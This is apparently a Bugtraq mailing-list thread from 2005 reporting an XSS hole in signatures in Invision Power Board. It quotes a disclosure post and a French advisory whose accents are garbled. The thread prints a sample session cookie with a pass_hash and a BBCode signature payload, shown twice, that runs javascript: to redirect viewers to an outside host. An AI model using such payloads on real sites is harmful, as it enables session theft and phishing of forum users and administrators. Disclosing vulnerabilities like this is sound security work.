RE: Invision Power Board v2.0.3 XSS vulnerabilities

["alex" <pigrelax () yandex ru>]

This bug was published a few month ago (15 jan 2005):

http://www.securitylab.ru/51808.html
 

-----Original Message-----
From: hoang yen [mailto:vnwebmasters () yahoo com] 
Sent: Tuesday, March 29, 2005 12:59 PM
To: bugtraq () securityfocus com
Subject: Invision Power Board v2.0.3 XSS vulnerabilities



Invision Power Board v2.0.3 XSS vulnerabilities found more at user
signature. when Admin read attacker topics, admin will lost his pass_hash

example
[session_id=f2600ff71ea895e6b9dedb5fd9480d16;%20member_id=48;%20pass_hash=8e
e00894ca583f64a85fd41a47048d14;%20topicsread=a%3A7%3A%7Bi%3A498%3Bi%3A111164
9756%3Bi%3A485%3Bi%3A1111649822%3Bi%3A494%3Bi%3A1111651530%3Bi%3A488%3Bi%3A1
111653254%3Bi%3A481%3Bi%3A1111655869%3Bi%3A490%3Bi%3A1111654241%3Bi%3A250%3B
i%3A1111655785%3B%7D;%20modtids=%2C;%20anonlogin=-1] 

I post this topic because  v2.0.3 also get bugs not only 1.3.1 and all
atacker can hack by this code 

exploit
[COLOR=[IMG]http://server/=`image.jpg[/IMG]]`style=background:url("javascrip
t:document.location.replace('http://www.servermalicieux.com');")

Viethacker.org
Hoangyenxinhdep - dora

-----------------------------------------

Date de Publication : 2005-02-21 L K-OTik.COM - Voir Notice LИgale  
Titre: Invision Power Board SML Codes Cross Site Scripting Vulnerability
K-OTik ID : AVIS-2005-0191
Risque : Bas 
Exploitable Ю distance : Oui
Exploitable en local : Oui

* Description Technique *

Une vulnИrabilitИ a ИtИ identifiИe dans Invision Power Board, elle pourrait
Йtre exploitИe par un attaquant afin de rИaliser des attaques par Cross Site
Scripting. Le problХme rИsulte d'une erreur prИsente au niveau de la gestion
des signatures qui ne sont pas correctement filtrИes, ce qui pourrait Йtre
exploitИ afin d'injection du code HTML cotИ client via une signature
spИcifique.

[COLOR=[IMG]http://server/=`image.jpg[/IMG]]`style=background:url("javascrip
t:document.location.replace('http://www.servermalicieux.com');")

* Versions VulnИrables *

Invision Power Board version 1.3.1 et infИrieures 

* Solution *

Aucune solution officielle pour l'instant

* RИfИrences *

http://www.k-otik.com/bugtraq/bulletins/937 

* CrИdit *

VulnИrabilitИs dИcouvertes par Daniel A.

* ChangeLog *

2005-02-21 : Version Initiale